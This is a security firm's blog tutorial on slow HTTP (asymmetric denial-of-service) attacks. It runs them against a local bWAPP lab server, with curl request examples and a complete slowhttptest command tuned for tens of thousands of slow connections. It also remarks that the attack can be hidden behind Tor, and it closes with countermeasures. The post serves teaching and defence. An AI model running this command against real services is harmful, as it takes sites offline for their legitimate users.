Young hacker smiling

We hack your software

zero false positives

Expert intelligence + effective automation

image of a DoS in action

Asymmetric DoS, slow HTTP attack

The story of David and Goliath
After reading this post you'll know about asymmetric attacks, denial of service attacks, you'll know how does a slow http attack work, how to inspect the http requests and responses, and you'll see how to perform an asymmetric denial of service against bWAPP with slowhttptest!

Have you ever heard about that beautiful story of David and Goliath where an underdog, expected to lose and highly underestimate guy, shut down the biggest and strongest of the enemies?

Fine! because today we are going to talk about those unequal scenarios. Furthermore, we are going to battle one ourselves.

Let’s get started

So, let’s imagine for a moment that all you need to kill the giant that everyone fears is a little slingshot, not a big maze, nor the strength of a thousand men… Sounds crazy? Well it is. But it’s possible.

A cyber attack is considered "asymmetric" in the sense that you need a little amount of resources, (in this case, our tiny slingshot, or laptop), in order to cause a considerable level of resources malfunction or failure in the target, (in this case, the giant, or the server).

If we push hard enough, the server is going to stop providing the service to other users, in other words, we will cause a Denial of Service (DoS).

How does a slow http attack work?

Imagine a line at the local fast food restaurant and a customer at the cashier who is taking an eternity to decide if he wants a burger or a hot-dog, making everyone else become anxious and stopping down the food delivery.

If you look at it in more detail, all this customer needed was to "not know what to order" to make the fast food restaurant stop the food delivery, i.e. A DoS.

Now imagine the same line, but you are supposed to know what to order before reaching the cashier, so there shouldn’t be a problem. Bad thing is that now a customer is ordering a thousand burgers and a hundred hot-dogs, making again everyone else wait and making the restaurant tell the other customers, "hey, we’ll be busy for the rest of the day cooking this, we can’t serve more food!"

The HTTP protocol works similarly, it requires requests to be fully received by the final user before they are processed.

Two things can happen, if a request is not completed, the server can either wait, or set the request as timed out after some seconds. But if you let the request complete, but at a slow rate, then the server will keep the resource busy waiting for the end of the data.

What would happen if you order a thousand burgers and a hundred hot-dogs at your turn, but you don’t decide fast what sauce and what drink in each one of them, and you are intentionally indecisive about your order and speaking slowly?

The answer:

This is exactly the idea behind a slow HTTP attack.

A web server keeps its active connections in a relatively small connection pool, and we will try to tie all the connections in this pool to slow requests, making the server reject another users.

Let’s do an HTTP request

First of all, let’s run a bWAPP server on ip 192.168.56.101

bwapp-running
Figure 1. BWAPP server

For now let’s assume that we are at

192.168.56.101/bWAPP/xss_post.php.

And we entered in the form

xss-login-form
Figure 2. XSS page and input

Once we access a page, the browser is going to ask the server for some resources, (images, texts, HTML pages, CSS and JavaScript files, etc), and we can see this requests and responses from the command line using curl (or Google Chrome, or Firefox, or BURP).

The process using curl is:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
$ # login to the server so we can see as a logged user the page we want
$ curl -L -c post_login_cookie 'http://192.168.56.101/bWAPP/login.php' \
--data 'login=bee&password=bug&security_level=0&form=submit'
$ # result: a file is saved with name 'post_login_cookie'
$
$ # submit a post request with the data we want on the field
$ curl -L -b post_login_cookie -v \
-d "firstname=test1&lastname=test2&form=submit" \
http://192.168.56.101/bWAPP/xss_post.php
$ # output is displayed to console, we'll see it in a moment

As mentioned before, every single resource is going to have a request and a corresponding response. In other words, we are asking the server for the xss_post.php resource with the parameters:

POST Parameters
1
firstname=test1&lastname=test2&form=submit

Since we want to se an HTML page, curl asks for it:

curl, server request output
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
*   Trying 192.168.56.101...
* TCP_NODELAY set
* Connected to 192.168.56.101 (192.168.56.101) port 80 (#0)
> POST /bWAPP/xss_post.php HTTP/1.1
> Host: 192.168.56.101
> User-Agent: curl/7.58.0
> Accept: */*
> Cookie: PHPSESSID=5fvb1fr053gmc2f91ooicvf1f5; security_level=0
> Content-Length: 41
> Content-Type: application/x-www-form-urlencoded

And the server replies with:

curl, server response output
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
* upload completely sent off: 41 out of 41 bytes
< HTTP/1.1 200 OK
< Date: Thu, 15 Nov 2018 21:31:32 GMT
< Server: Apache/2.2.14 (Ubuntu) mod_mono/2.4.3 PHP/5.3.2-1ubuntu4.30 with
Suhosin-Patch proxy_html/3.0.1 mod_python/3.3.1 Python/2.6.5 mod_ssl/2.2.14
OpenSSL/0.9.8k Phusion_Passenger/4.0.38 mod_perl/2.0.4 Perl/v5.10.1
< X-Powered-By: PHP/5.3.2-1ubuntu4.30
< Expires: Thu, 19 Nov 1981 08:52:00 GMT
< Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
< Pragma: no-cache
< Vary: Accept-Encoding
< Content-Length: 11291
< Content-Type: text/html

At this point, nothing stops us from sending follow up headers with random values:

POST Parameters
1
firstname=FASLDKJFEI&lastname=test2&form=submit

wait some seconds…

POST Parameters
1
firstname=IEU182KSZ&lastname=test2&form=submit

And nothing stops us to simulate a slow connection on each one of this requests, so the server is going to have to wait until we receive the full resource.

Why not to do a thousand requests until every single connection available on the server pool is busy with us?

To do this, we are going to use a tool.

Using slowhttptest

First of all, lets pull the slowhttptest docker image from the docker hub

Bash command
1
$ docker pull frapsoft/slowhttptest

And write the following command:

Bash command
1
2
3
$ sudo docker run --name DoSBWAPP --rm  frapsoft/slowhttptest \
-c 65539 -B -i 10 -l 300 -r 10000 -s 16384 -t firstname \
-u "http://192.168.56.101/bWAPP/xss_get.php" -x 10 -p 300

The parameters you see are described below:

Table 1. Slowhttptest description

-c 65539

use 65539 connections

-B

specify to slow down the http in message body mode

-i 10

seconds of interval between follow up data, per connection

-l 300

duration of the test in seconds

-p 300

timeout in seconds to wait for HTTP response on probe connection, after which server is considered inaccessible

-r 10000

connections per second

-s 16384

value of Content-Length header

-x 10

max length of follow up data in bytes

-t firstname

add ?firstname=(-x 10bytes) to the target url

-u URL

target URL

While the attack is running a user that tries to access the service is going to see:

bwapp-while-attacking
Figure 3. BWAPP is trying to connect without success

If the attack is long enough, it is going to get timed out:

bwapp-timed-out
Figure 4. BWAPP gets timed-out

Once the attack is finished everything returns to a normal state:

bwapp-attack-finished
Figure 5. BWAPP working normally after attack

Since we need a little amount of resources, (a laptop, and internet connection), we can even do it on a low-bandwidth connection. Moreover, since we don’t need too much bandwidth, we can pass everything through a proxy in the tor network and hide ourselves.

Sounds scary, how do I protect myself?

The set of counter measures depends mainly on your service.

Some useful mechanisms to prevent this kind of attacks are:

  • Limit the amount of resources that an unauthorized user can cause to be expended.

  • Set the header and message body to a maximum reasonable length.

  • Define a minimum incoming data rate, and drop them if they are slower.

  • Set an absolute connection timeout.

  • Use a Web Application Firewall.

  • Reject connections with verbs not supported by the URL.

In cases where you need to set minimum and maximum limits, a good idea is to find the values from your statistics. If the value is too short, you may risk dropping legitimate connections; and if it is too long, you don’t get any protection from attacks. Perhaps using a margin ranging from one to two standard deviations may help you with this.

Finally

I really hope that you liked this article.

Wish you a nice week, and see you in another post!

References

  1. Wikipedia (2018). Hypertext Transfer Protocol. Wiki.

  2. Sergey Shekyan (2018). Slowhttptest - Instalation and usage. Github wiki.

  3. Sergey Shekyan (2018). Application Layer DoS attack simulator. Docker hub.


Author picture

Kevin Amado

Civil Engineer

"An algorithm must be seen to be believed" Donald Knuth



Related




Service status - Terms of Use